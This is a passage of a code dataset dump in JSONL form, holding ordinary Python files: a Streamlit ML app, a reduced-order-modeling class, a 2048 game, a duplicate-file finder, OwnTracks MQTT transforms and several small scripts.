category_dist(self, cats=None):\n for sd in self.data_toggle(cat_dist=True):\n yield sd\n \n def data_toggle(self, cat_dist=False, title=False, product_title=False, tags=False):\n \n # leave flexibility for future data extraction fields\n self.nonnumeric_cols = ['doc'] if title or product_title or tags else []\n \n for s in self.load_data():\n d = { k: s[k] for k in self.keys }\n \n if title:\n d['doc'] = [s['title']] if s['title'] else []\n \n if product_title or tags or cat_dist:\n self.__extract_from_listings(d, s['listings_active'], cat_dist, product_title, tags)\n \n try:\n d['doc'] = ' '.join(d['doc'])\n except:\n pass\n \n yield d\n ","sub_path":"etsyshoprecs/model/shopdatabuilder.py","file_name":"shopdatabuilder.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"397402795","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# ylgongPw @ 2020-03-06 11:27:07\n\nfrom typing import List\n\nclass Solution:\n def findContinuousSequence(self, target: int) -> List[List[int]]:\n \"\"\"\n 滑动窗口\n \"\"\"\n left = 1 # 滑动窗口的左边界 \n right= 1 # 滑动窗口的右边界 \n sum = 0 # 滑动窗口中数字的和\n res = []\n\n while left <= target // 2:\n if sum < target:\n # 右边界向右移动\n sum += right\n right += 1\n elif sum > target:\n # 左边界向右移动\n sum -= left\n left += 1\n else:\n # 记录结果\n arr = list(range(left, right))\n res.append(arr)\n # 左边界向右移动\n sum -= left\n left += 1\n\n return res\n\n\n\nif __name__ == '__main__':\n target = 15\n S = Solution()\n vals = S.findContinuousSequence(target)\n print (vals)\n","sub_path":"offer-57.1/offer-57.py","file_name":"offer-57.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"255867385","text":"#!/usr/bin/env python\n\n\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport regression_setup\n\n\ndef get_data_from_dirs_list(args, uuts, dirs):\n data = []\n _dtype = np.int32 if int(uuts[0].s0.data32) else np.int16\n all_tests = [\"post\", \"pre_post\", \"rtm\", \"rtm_gpg\", \"rgm\"]\n fig = plt.figure()\n plt_count = 1\n plot = 0\n prev_dir = None\n\n for test in all_tests:\n\n gen = (dir for dir in dirs if dir.split(\"/\")[-2].startswith(test))\n for dir in gen:\n if dir.split(\"/\")[-2].startswith(\"rtm_gpg\") and test == \"rtm\":\n continue\n files = [dir + \"/\" + name for name in os.listdir(dir)]\n\n for file in files:\n\n if dir.split(\"/\")[-2] != prev_dir:\n fig = regression_setup.incr_axes(fig, plt_count)\n axs = fig.add_subplot(plt_count, 1, plt_count)\n plt_count += 1\n\n plt.plot(np.fromfile(file, dtype=_dtype))\n plt.title(file.split(\"/\")[-3])\n plot = 1\n prev_dir = dir.split(\"/\")[-2]\n\n if plot:\n plt.show()\n fig = plt.figure()\n plt_count = 1\n plot = 0\n continue\n\n return data\n\n\n\ndef get_file_list(directory):\n file_list = []\n for root, dirs, files in os.walk(directory):\n for file in files:\n filePath = os.path.join(root, file)\n file_list.append(filePath)\n return file_list\n\n\ndef view_last_run(args, uuts):\n directories = args.directories.copy()\n dirs = [directories[0] + \"/\" + name + \"/\" for name in os.listdir(directories[0])]\n data = get_data_from_dirs_list(args, uuts, dirs)\n return None\n\n","sub_path":"regression_visualisation.py","file_name":"regression_visualisation.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"18682290","text":"import streamlit as st \nimport numpy as np \nimport pandas as pd\nimport seaborn as sns\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score\nfrom sklearn import model_selection\n\nmatplotlib.use('Agg')\n\nfrom PIL import Image\nst.set_option('deprecation.showPyplotGlobalUse',False)\n#Set title\n\nst.title('Data Analysis On Various Datasets')\nimage = Image.open('logo.jpeg')\nst.image(image,use_column_width=True)\n\n\ndef main():\n\tst.title('Data Analysis On Various Datasets')\n\tactivities=['EDA','visualisation','model','About us']\n\toption=st.sidebar.selectbox('Select option',activities)\n\n\tif option==\"EDA\":\n\t\tst.subheader(\"Exploratory Data Analysis\")\n\n\t\tdata=st.file_uploader(\"Upload datasets\",type=['csv','xlsx','txt','html','json'])\n\t\t\n\t\tif data is not None:\n\t\t\tst.success(\"success\")\n\t\t\tdf=pd.read_csv(data)\n\t\t\tst.dataframe(df.head(50))\n\t\t\t\n\t\t\tif st.checkbox(\"Display shape\"):\n\t\t\t\tst.write(df.shape)\n\n\t\t\tif st.checkbox(\"Display columns\"):\n\t\t\t\tall_columns=df.columns.to_list()\n\t\t\t\tst.write(all_columns)\n\n\t\t\tif st.checkbox('Select Multiple columns'):\n\t\t\t\tselected_columns=st.multiselect(\"Select Preferred columns\",df.columns)\n\t\t\t\tdf1=df[selected_columns]\n\t\t\t\tst.dataframe(df1)\n\n\t\t\tif st.checkbox(\"Display summary\"):\n\t\t\t\tst.write(df.describe().T)\n\n\t\t\tif st.checkbox(\"Null Values\"):\n\t\t\t\tst.write(df.isnull().sum())\n\t\t\tif st.checkbox('Data Types'):\n\t\t\t\tst.write(df.dtypes)\n\t\t\tif st.checkbox('Display Correlation'):\n\t\t\t\tst.write(df.corr())\n\t\t\t\n\n\telif option==\"visualisation\":\n\t\tst.subheader(\"Data visualisation\")\n\t\tdata=st.file_uploader(\"Upload datasets\",type=['csv','xlsx','txt','html','json'])\n\t\t\n\t\tif data is not None:\n\t\t\tst.success(\"success\")\n\t\t\tdf=pd.read_csv(data)\n\t\t\tst.dataframe(df.head())\n\t\t\tif st.checkbox('Select Multiple Columns to plot'):\n\t\t\t\tselected_columns=st.multiselect(\"Select Preferred columns\",df.columns)\n\t\t\t\tdf1=df[selected_columns]\n\t\t\t\tst.dataframe(df1)\n\t\t\tif st.checkbox(\"Display Heatmap\"):\n\t\t\t\tst.write(sns.heatmap(df1.corr(), vmax=1, square=True, annot=True,cmap='viridis'))\n\t\t\t\tst.pyplot()\n\t\t\tif st.checkbox(\"Display Pairplot\"):\n\t\t\t\tst.write(sns.pairplot(df1,diag_kind='kde'))\n\t\t\t\tst.pyplot()\n\n\t\t\tif st.checkbox(\"Pie Chart\"):\n\t\t\t\tall_columns=df.columns.to_list()\n\t\t\t\tpie_columns=st.selectbox(\"Select a column, NB: Select Target column\",all_columns)\n\t\t\t\tpieChart=df[pie_columns].value_counts().plot.pie(autopct=\"%1.1f%%\")\n\t\t\t\tst.write(pieChart)\n\t\t\t\tst.pyplot()\n\n\n# #Plotting multiple plots at once\n\n\t\t\tcols=df.columns.to_list()\n\n\t\t\tplots=st.selectbox(\"select a choice of plot\",['histogram','bargraph','area plot','line plot'])\n\t\t\tselected_cols=st.multiselect(\"Select Your Preferred columns\",df.columns)\n\n\n\t\t\tif st.button(\"Create Plot\"):\n\t\t\t\t\n\t\t\t\tif plots==\"area plot\":\n\t\t\t\t\tdf2=df[selected_cols]\n\t\t\t\t\tst.area_chart(df2)\n\t\t\t\t\t# st.success(\"success\")\n\t\t\t\t\tst.pyplot()\n\n\t\t\t\telif plots==\"histogram\":\n\t\t\t\t\t df2=df[selected_cols]\n\t\t\t\t\t st.dataframe(df2)\n\t\t\t\t\t st.write(plt.hist(df2, bins=20))\n\t\t\t\t\t st.success(\"success\")\n\t\t\t\t\t st.pyplot()\n\n\n\t\t\t\telif plots==\"bargraph\":\n\t\t\t\t\tdf2=df[selected_cols]\n\t\t\t\t\tst.dataframe(df2)\n\t\t\t\t\tst.bar_chart(df2)\n\t\t\t\t\tst.success(\"success\")\n\t\t\t\t\tst.pyplot()\n\n\t\t\t\telif plots==\"line plot\":\n\t\t\t\t\tdf2=df[selected_cols]\n\t\t\t\t\tst.line_chart(df2)\n\t\t\t\t\tst.success(\"success\")\n\t\t\t\t\tst.pyplot()\n\n\n\t\t\t\n\n\n\telif option==\"model\":\n\t\tst.subheader(\"Model Building\")\n\n\t\tdata=st.file_uploader(\"Upload datasets\",type=['csv','xlsx','txt','html','json'])\n\t\tst.success(\"success\")\n\t\tif data is not None:\n\t\t\tdf=pd.read_csv(data)\n\t\t\tst.dataframe(df.head()) \n\n\t\t\t\n\t\t\tif st.checkbox('Select Multiple columns'):\n\t\t\t\tnew_data=st.multiselect(\"Select column. NB: Make Sure Target column is selected last\",df.columns)\n\t\t\t\tdf1=df[new_data]\n\t\t\t\tst.dataframe(df1)\n\t\t\t\tX=df1.iloc[:,0:-1]\n\t\t\t\ty=df1.iloc[:,-1]\n\n\n\t\t\tseed = st.sidebar.slider('Seed', 1, 200)\n\n\t\t\tclassifier_name = st.sidebar.selectbox('Select classifier',('KNN', 'SVM','LR','naive_bayes','DecisionTree'))\n\n\t\t\t \n\t\t\tdef add_parameter(name_of_clf):\n\t\t\t params = dict()\n\t\t\t if name_of_clf == 'SVM':\n\t\t\t C = st.sidebar.slider('C', 0.01, 15.0)\n\t\t\t params['C'] = C\n\t\t\t else:\n\t\t\t name_of_clf == 'KNN'\n\t\t\t K = st.sidebar.slider('K', 1, 15)\n\t\t\t params['K'] = K\n\t\t\t return params\n\n\t\t\t#calling our function\n\t\t\tparams = add_parameter(classifier_name)\n\n\n\t\t\t#accessing our classifier\n\n\t\t\tdef get_classifier(name_of_clf, params):\n\t\t\t clf = None\n\t\t\t if name_of_clf == 'SVM':\n\t\t\t clf = SVC(C=params['C'])\n\t\t\t elif name_of_clf == 'KNN':\n\t\t\t clf = KNeighborsClassifier(n_neighbors=params['K'])\n\t\t\t elif name_of_clf=='LR':\n\t\t\t \tclf=LogisticRegression()\n\t\t\t elif name_of_clf=='naive_bayes':\n\t\t\t \tclf=GaussianNB()\n\t\t\t elif name_of_clf=='DecisionTree':\n\t\t\t \tclf=DecisionTreeClassifier()\n\n\t\t\t else:\n\t\t\t st.warning('select your choice of algorithm')\n\t\t\t return clf\n\n\n\t\t\tclf = get_classifier(classifier_name, params)\n\n\t\t\tX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=seed)\n\n\t\t\tclf.fit(X_train, y_train)\n\t\t\ty_pred = clf.predict(X_test)\n\t\t\tst.write('Predictions',y_pred)\n\n\t\t\taccuracy = accuracy_score(y_test, y_pred)\n\n\t\t\tst.write('Classifier name:',classifier_name)\n\t\t\tst.write('Accuracy:', accuracy)\n\n\telif option==\"About us\":\n\t\tst.subheader(\"About us\")\n\t\tst.write(\"Voila!!! We have successfully created our ML App\")\n\t\tst.write(\"This is our ML App to make things eaier for our users to understand their data without a stress\")\n\n\n\t\tst.balloons()\n\n\n\nif __name__ =='__main__':\n\tmain()","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"612498466","text":"\n# Model Specs\nLAYERS = 5\n\n# Dataset Specs\nIMAGE_SIZE = 268\nCROPS_PER_IMAGE = 1\nTRAIN_IMAGES = 3\nTEST_IMAGES = 3\nVALIDATION_IMAGES = 3\nCLASSES = 92\n\n# Train specs\nBATCH_SIZE = 1\nMOMENTUM = 0.99\nLR_DECAY = 0.5\nOPTIMIZATION_EPOCHS = 10\nEVALUATIONS = 2\nEPOCHS = 1\n\n# Other specs\nSAVE_MODEL = 1\nRESTORE = 0\nDEBUG = 0\nDATASET_PATH = \"\"\nLOGS_DIR = \"/unet/logs\"\nSAVE_PATH = \"/unet/checkpoint\"\nRESTORE_PATH = \"/unet/checkpoint\"","sub_path":"GlobalVariables.py","file_name":"GlobalVariables.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"601387656","text":"\"\"\"Module for the Reduced Order Modeling.\"\"\"\n\nimport math\nimport copy\nimport pickle\nimport numpy as np\nfrom scipy.spatial.qhull import Delaunay\nfrom sklearn.model_selection import KFold\n\nclass ReducedOrderModel():\n \"\"\"\n Reduced Order Model class.\n\n This class performs the actual reduced order model using the selected\n methods for approximation and reduction.\n\n :param ezyrb.Database database: the database to use for training the reduced\n order model.\n :param ezyrb.Reduction reduction: the reduction method to use in reduced order\n model.\n :param ezyrb.Approximation approximation: the approximation method to use in\n reduced order model.\n :param object scaler_red: the scaler for the reduced variables (eg. modal\n coefficients). Default is None.\n\n :cvar ezyrb.Database database: the database used for training the reduced\n order model.\n :cvar ezyrb.Reduction reduction: the reduction method used in reduced order\n model.\n :cvar ezyrb.Approximation approximation: the approximation method used in\n reduced order model.\n :cvar object scaler_red: the scaler for the reduced variables (eg. modal\n coefficients).\n\n :Example:\n\n >>> from ezyrb import ReducedOrderModel as ROM\n >>> from ezyrb import POD, RBF, Database\n >>> pod = POD()\n >>> rbf = RBF()\n >>> # param, snapshots and new_param are assumed to be declared\n >>> db = Database(param, snapshots)\n >>> rom = ROM(db, pod, rbf).fit()\n >>> rom.predict(new_param)\n\n \"\"\"\n def __init__(self, database, reduction, approximation, scaler_red=None):\n self.database = database\n self.reduction = reduction\n self.approximation = approximation\n self.scaler_red = scaler_red\n\n def fit(self, *args, **kwargs):\n r\"\"\"\n Calculate reduced space\n\n :param \\*args: additional parameters to pass to the `fit` method.\n :param \\**kwargs: additional parameters to pass to the `fit` method.\n \"\"\"\n self.reduction.fit(self.database.snapshots.T)\n reduced_output = self.reduction.transform(self.database.snapshots.T).T\n\n if self.scaler_red:\n reduced_output = self.scaler_red.fit_transform(reduced_output)\n\n self.approximation.fit(\n self.database.parameters,\n reduced_output,\n *args,\n **kwargs)\n\n return self\n\n def predict(self, mu):\n \"\"\"\n Calculate predicted solution for given mu\n \"\"\"\n mu = np.atleast_2d(mu)\n if hasattr(self, 'database') and self.database.scaler_parameters:\n mu = self.database.scaler_parameters.transform(mu)\n\n predicted_red_sol = np.atleast_2d(self.approximation.predict(mu))\n\n if self.scaler_red: # rescale modal coefficients\n predicted_red_sol = self.scaler_red.inverse_transform(\n predicted_red_sol)\n\n predicted_sol = self.reduction.inverse_transform(predicted_red_sol.T)\n\n if hasattr(self, 'database') and self.database.scaler_snapshots:\n predicted_sol = self.database.scaler_snapshots.inverse_transform(\n predicted_sol.T).T\n\n if 1 in predicted_sol.shape:\n predicted_sol = predicted_sol.ravel()\n else:\n predicted_sol = predicted_sol.T\n return predicted_sol\n\n def save(self, fname, save_db=True, save_reduction=True, save_approx=True):\n \"\"\"\n Save the object to `fname` using the pickle module.\n\n :param str fname: the name of file where the reduced order model will\n be saved.\n :param bool save_db: Flag to select if the `Database` will be saved.\n :param bool save_reduction: Flag to select if the `Reduction` will be\n saved.\n :param bool save_approx: Flag to select if the `Approximation` will be\n saved.\n\n Example:\n\n >>> from ezyrb import ReducedOrderModel as ROM\n >>> rom = ROM(...) # Construct here the rom\n >>> rom.fit()\n >>> rom.save('ezyrb.rom')\n \"\"\"\n rom_to_store = copy.copy(self)\n\n if not save_db:\n del rom_to_store.database\n if not save_reduction:\n del rom_to_store.reduction\n if not save_approx:\n del rom_to_store.approximation\n\n with open(fname, 'wb') as output:\n pickle.dump(rom_to_store, output, pickle.HIGHEST_PROTOCOL)\n\n @staticmethod\n def load(fname):\n \"\"\"\n Load the object from `fname` using the pickle module.\n\n :return: The `ReducedOrderModel` loaded\n\n Example:\n\n >>> from ezyrb import ReducedOrderModel as ROM\n >>> rom = ROM.load('ezyrb.rom')\n >>> rom.predict(new_param)\n \"\"\"\n with open(fname, 'rb') as output:\n rom = pickle.load(output)\n\n return rom\n\n def test_error(self, test, norm=np.linalg.norm):\n \"\"\"\n Compute the mean norm of the relative error vectors of predicted\n test snapshots.\n\n :param database.Database test: the input test database.\n :param function norm: the function used to assign at the vector of\n errors a float number. It has to take as input a 'numpy.ndarray'\n and returns a float. Default value is the L2 norm.\n :return: the mean L2 norm of the relative errors of the estimated\n test snapshots.\n :rtype: numpy.ndarray\n \"\"\"\n predicted_test = self.predict(test.parameters)\n return np.mean(\n norm(predicted_test - test.snapshots, axis=1) /\n norm(test.snapshots, axis=1))\n\n def kfold_cv_error(self, n_splits, *args, norm=np.linalg.norm, **kwargs):\n r\"\"\"\n Split the database into k consecutive folds (no shuffling by default).\n Each fold is used once as a validation while the k - 1 remaining folds\n form the training set. If `n_splits` is equal to the number of\n snapshots this function is the same as `loo_error` but the error here\n is relative and not absolute.\n\n :param int n_splits: number of folds. Must be at least 2.\n :param function norm: function to apply to compute the relative error\n between the true snapshot and the predicted one.\n Default value is the L2 norm.\n :param \\*args: additional parameters to pass to the `fit` method.\n :param \\**kwargs: additional parameters to pass to the `fit` method.\n :return: the vector containing the errors corresponding to each fold.\n :rtype: numpy.ndarray\n \"\"\"\n error = []\n kf = KFold(n_splits=n_splits)\n for train_index, test_index in kf.split(self.database):\n new_db = self.database[train_index]\n rom = type(self)(new_db, copy.deepcopy(self.reduction),\n copy.deepcopy(self.approximation)).fit(\n *args, **kwargs)\n\n error.append(rom.test_error(self.database[test_index], norm))\n\n return np.array(error)\n\n def loo_error(self, *args, norm=np.linalg.norm, **kwargs):\n r\"\"\"\n Estimate the approximation error using *leave-one-out* strategy. The\n main idea is to create several reduced spaces by combining all the\n snapshots except one. The error vector is computed as the difference\n between the removed snapshot and the projection onto the properly\n reduced space. The procedure repeats for each snapshot in the database.\n The `norm` is applied on each vector of error to obtained a float\n number.\n\n :param function norm: the function used to assign at each vector of\n error a float number. It has to take as input a 'numpy.ndarray` and\n returns a float. Default value is the L2 norm.\n :param \\*args: additional parameters to pass to the `fit` method.\n :param \\**kwargs: additional parameters to pass to the `fit` method.\n :return: the vector that contains the errors estimated for all\n parametric points.\n :rtype: numpy.ndarray\n \"\"\"\n error = np.zeros(len(self.database))\n db_range = list(range(len(self.database)))\n\n for j in db_range:\n indeces = np.array([True] * len(self.database))\n indeces[j] = False\n\n new_db = self.database[indeces]\n test_db = self.database[~indeces]\n rom = type(self)(new_db, copy.deepcopy(self.reduction),\n copy.deepcopy(self.approximation)).fit(\n *args, **kwargs)\n\n error[j] = rom.test_error(test_db)\n\n return error\n\n def optimal_mu(self, error=None, k=1):\n \"\"\"\n Return the parametric points where new high-fidelity solutions have to\n be computed in order to globally reduce the estimated error. These\n points are the barycentric center of the region (simplex) with higher\n error.\n\n :param numpy.ndarray error: the estimated error evaluated for each\n snapshot; if error array is not passed, it is computed using\n :func:`loo_error` with the default function. Default value is None.\n :param int k: the number of optimal points to return. Default value is\n 1.\n :return: the optimal points\n :rtype: numpy.ndarray\n \"\"\"\n if error is None:\n error = self.loo_error()\n\n mu = self.database.parameters\n tria = Delaunay(mu)\n\n error_on_simplex = np.array([\n np.sum(error[smpx]) * self._simplex_volume(mu[smpx])\n for smpx in tria.simplices\n ])\n\n barycentric_point = []\n for index in np.argpartition(error_on_simplex, -k)[-k:]:\n worst_tria_pts = mu[tria.simplices[index]]\n worst_tria_err = error[tria.simplices[index]]\n\n barycentric_point.append(\n np.average(worst_tria_pts, axis=0, weights=worst_tria_err))\n\n return np.asarray(barycentric_point)\n\n def _simplex_volume(self, vertices):\n \"\"\"\n Method implementing the computation of the volume of a N dimensional\n simplex.\n Source from: `wikipedia.org/wiki/Simplex\n `_.\n\n :param numpy.ndarray simplex_vertices: Nx3 array containing the\n parameter values representing the vertices of a simplex. N is the\n dimensionality of the parameters.\n :return: N dimensional volume of the simplex.\n :rtype: float\n \"\"\"\n distance = np.transpose([vertices[0] - vi for vi in vertices[1:]])\n return np.abs(\n np.linalg.det(distance) / math.factorial(vertices.shape[1]))\n","sub_path":"ezyrb/reducedordermodel.py","file_name":"reducedordermodel.py","file_ext":"py","file_size_in_byte":10778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"122028902","text":"import os\nimport itertools\n\n\ndef find_duplicates(folder_path):\n files_list = []\n duplicates = []\n for (thisdir, subshere, files) in os.walk(folder_path):\n files_list.extend([os.path.join(thisdir, fname) for fname in files])\n\n for file1, file2 in itertools.combinations(files_list, 2):\n fname1, fname2 = os.path.basename(file1), os.path.basename(file2)\n fsize1, fsize2 = os.path.getsize(file1), os.path.getsize(file2)\n if fname1 == fname2 and fsize1 == fsize2:\n duplicates.extend([file1, file2])\n return duplicates\n\n\nif __name__ == '__main__':\n folder_path = input('Enter the path to the folder: ')\n print('Found duplicates')\n [print(full_file_name) for full_file_name in find_duplicates(folder_path)]\n","sub_path":"duplicates.py","file_name":"duplicates.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"466223288","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 26 15:09:08 2016\n\n@author: Vlad\n\"\"\"\nimport random\nimport numpy as np\n\ntbl = np.array([[0,0,0,0],\n [0,2,2,0],\n [0,0,0,0],\n [0,0,0,0]])\nmax_num = 2\ndef up():\n for i in range(4):\n tbl[:,i] = mov(tbl[:,i])\ndef down():\n for i in range(4):\n s = tbl[:,i]\n s = s[::-1]\n s = mov(s)\n s = s[::-1]\n tbl[:,i] = s\ndef left():\n for i in range(4):\n tbl[i,:] = mov(tbl[i,:])\ndef right():\n for i in range(4):\n s = tbl[i,:]\n s = s[::-1]\n s = mov(s)\n s = s[::-1]\n tbl[i,:] = s\n\ndef fall(line):\n if (line[1:] == np.array([0, 0, 0])).all() :\n return line\n temp = np.array([])\n k = 0\n for i in range(4):\n if line[i] != 0:\n temp = np.append(temp, line[i])\n else:\n k += 1\n for i in range(k):\n temp = np.append(temp, 0)\n line = temp[:]\n return line\n\ndef mov(line):\n line = fall(line)\n for i in range(3):\n if line[i] == line[i + 1]:\n line[i] += line[i + 1]\n line[i + 1] = 0\n line = fall(line)\n return line\n\ndef rand():\n i = random.randrange(0,4)\n j = random.randrange(0,4)\n while tbl[i][j] != 0:\n i = random.randrange(0,4)\n j = random.randrange(0,4)\n tbl[i][j] = 2*random.randrange(1,3)\ndef pr():\n for i in range(4):\n print(tbl[i,0],tbl[i,1],tbl[i,2],tbl[i,3])\n \n print()\ncom = ''\npr()\nwhile com != ' ':\n com = input()\n prev = np.array(tbl[:,:])\n if com == 'u':\n up()\n elif com == 'd':\n down()\n elif com == 'l':\n left()\n elif com == 'r':\n right()\n if not np.array_equal(tbl, prev):\n rand()\n pr()\n","sub_path":"Python/Practice/spec.py","file_name":"spec.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"293433957","text":"\"\"\"Doby class build testing\"\"\"\nimport logging\nfrom doby import utils\nfrom doby.build import imports\n\n\ndef build_setup(config):\n \"\"\"Build the setup.py file\"\"\"\n if not utils.key_exists(\"setup\", config):\n logging.error(\"Setup build called without a setup key\")\n return \"\"\n\n for required_key in [\"version\", \"author\", \"author_email\", \"url\"]:\n if not utils.key_exists(required_key, config[\"setup\"]):\n logging.error(\"Field %s is missing in setup dict\")\n return \"\"\n\n setup_parameters = \"name=\\\"%s\\\"\" % config[\"name\"]\n setup_parameters += \", version=\\\"%s\\\"\" % config[\"setup\"][\"version\"]\n setup_parameters += \", author=\\\"%s\\\"\" % config[\"setup\"][\"author\"]\n setup_parameters += \", author_email=\\\"%s\\\"\" % config[\"setup\"][\n \"author_email\"]\n setup_parameters += \", url=\\\"%s\\\"\" % config[\"setup\"][\"url\"]\n setup_parameters += \", description=\\\"%s\\\"\" % config[\"description\"]\n setup_parameters += \", long_description=LONG_DESCRIPTION\"\n setup_parameters += \", long_description_content_type=\\\"text/markdown\\\"\"\n\n setup_parameters += \", classifiers=[\"\n\n if utils.key_exists(\"developmentStatus\", config[\"setup\"]):\n setup_parameters += \"\\\"Development Status :: %s\\\",\" % config[\"setup\"][\n \"developmentStatus\"]\n\n if utils.key_exists(\"license\", config[\"setup\"]):\n setup_parameters += \"\\\"License Status :: %s\\\",\" % config[\"setup\"][\n \"license\"]\n\n if utils.key_exists(\"operatingSystem\", config[\"setup\"]):\n setup_parameters += \"\\\"Operating System :: %s\\\",\" % config[\"setup\"][\n \"operatingSystem\"]\n\n if utils.key_exists(\"pythonVersion\", config[\"setup\"]):\n setup_parameters += \"\\\"Programming Language :: %s\\\",\" % config[\n \"setup\"][\"pythonVersion\"]\n\n setup_parameters += \"]\"\n\n setup_parameters += \", install_requires=%s\" % imports.get_clean_non_built_ins(\n config)\n setup_parameters += \", include_package_data=True\"\n\n setup_out = []\n setup_out.append('import setuptools')\n setup_out.append('')\n setup_out.append('with open(\"README.md\", \"r\") as fh:')\n setup_out.append(' LONG_DESCRIPTION = fh.read()')\n setup_out.append('')\n setup_out.append('setuptools.setup(%s)' % setup_parameters)\n\n return setup_out\n","sub_path":"doby/build/setup_py.py","file_name":"setup_py.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"108247178","text":"#Sunny Chen\n#Data manipulation for maze solver\ndef returnTuples(file): #Takes a file, and returns the tuples stored inside\n import wordthings\n try:\n f = open(file)\n with f:\n data = f.readlines()\n tuples = []\n for e in data:\n tuples.append(eval(wordthings.remove(e,\"\\n\"))) #Add all the tuples to a list as tuple without enter character (\\n)\n return tuples\n except IOError:\n return False\n\ndef storeTuples(file, tuple_list): #Stores a list of tuples at a given file name\n with open(file,\"w\") as f:\n for t in tuple_list:\n f.write(str(t)+\"\\n\")\n","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"253085040","text":"import time\n\ntry:\n import json\nexcept ImportError:\n import simplejson as json\n\n#transform\ndef ownTransform(topic, data, srv):\n if type(topic) == str:\n try:\n # owntracks/username/device\n parts = topic.split('/')\n username = parts[1]\n deviceid = parts[2]\n except:\n deviceid = 'unknown'\n username = 'unknown'\n\n if type(data) == dict:\n if 'payload' in data:\n payloadMSG = data['payload']\n dataMSG = dict(json.loads(payloadMSG).items())\n try:\n tstLocal = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(int(dataMSG['tst']))) #convert epoch to localtime\n except:\n tstLocal = None\n try:\n waypoint = dataMSG['desc']\n except:\n waypoint = None\n '''\n srv.logging.debug('-------start----------')\n srv.logging.debug(dataMSG)\n srv.logging.debug(tstLocal)\n srv.logging.debug(waypoint)\n srv.logging.debug(username)\n srv.logging.debug(deviceid)\n srv.logging.debug('-------finish----------')\n '''\n return dict(tstLocal=tstLocal, username=username, device=deviceid, waypoint=waypoint)\n \n return None\n\ndef own2mysql(data, srv):\n if type(data) == dict:\n # Remove these elements to eliminate warnings\n for k in ['topic','payload','_dtepoch','_dtiso','_dthhmm','_dthhmmss','desc','t']:\n data.pop(k, None)\n #srv.logging.debug('##############')\n #srv.logging.debug(json.dumps(data,separators=(',', ':')))\n return json.dumps(data,separators=(',', ':'))\n\n#[owntracks-mysql]\n#this will filter out owntrack messages that dont have 'lon' in the message, ie. LWT ones.\ndef OwnTracksLocation(topic, message):\n return message.find('lon') == -1\n","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"623796659","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Mar 6 10:07:40 2019\r\n\r\n@author: Anu Nair (nyke.anu@gmail.com)\r\n\r\n\r\n\"\"\"\r\n\r\n# Load the required packages\r\nimport pandas as pd\r\n\r\nimport matplotlib.pyplot as plt\r\n#from scipy.signal import argrelextrema\r\nfrom scipy.signal import find_peaks\r\n\r\n#import numpy as np\r\n#import time \r\nimport winsound\r\nimport pyttsx3\r\n\r\ndef DataSort(filename,flty,c_name):\r\n #Getting data from the file and extracing a particular data from it\r\n print(\"Opening file \",filename)\r\n print('Calculating ',c_name)\r\n\r\n if flty=='Qx' :\r\n data=[]\r\n reader = pd.read_csv(filename,skiprows =[i for i in range(37)],dtype=object,delimiter=\"\\t\")\r\n reader.columns=['ST_2.4kHz', 'ST_50Hz', 'PT_K1', 'PT_K3','RP_8','RP_9','IWP','LC_1','LC_2','ST_2.4KHz','PT_SW1','PT_SW2','PT_SW3','PT_SW4','PT_K2','PT_K4','PT_K5','PT_K6','19']\r\n\r\n data=pd.to_numeric(reader[c_name], errors='coerce').fillna(0, downcast='infer')\r\n\r\n #ti=[i/2400 for i in data.index]\r\n print(\"----------------------------Complete file preview--------------------------\")\r\n print(reader.head())\r\n print(\"-----------------------------Current data preview-------------------------- \")\r\n print(data.head())\r\n print(\"____________________________Done reading data______________________________\")\r\n \r\n return(data)\r\n \r\n\r\ndef PeakFinder(dat,tr_hd,tr_dis):\r\n print('threshold (y)= ',tr_hd,'[mm]')\r\n print('threshold (y)= ',scaleUp_std(tr_hd,3),'[bar]')\r\n print('threshold (x)= ',tr_dis,'samples')\r\n# scale_fac=9.81*1025/1000/1000/100\r\n# tr_hd=tr_hd/scale_fac\r\n\r\n\r\n #find out peak and mean values frm the file\r\n\r\n df = pd.DataFrame(dat.values, columns=['data'])\r\n# fig = plt.figure(1)\r\n# plt.plot(df.index, df['data'])\r\n df['time']=[i/2400 for i in dat.index]\r\n\r\n #print(df)\r\n #n=8000 # number of points to be checked before and after \r\n # Find local peaks\r\n #df['min'] = df.iloc[argrelextrema(df.data.values, np.less_equal, order=n)[0]]['data']\r\n #df['max'] = df.iloc[argrelextrema(df.data.values, np.greater_equal, 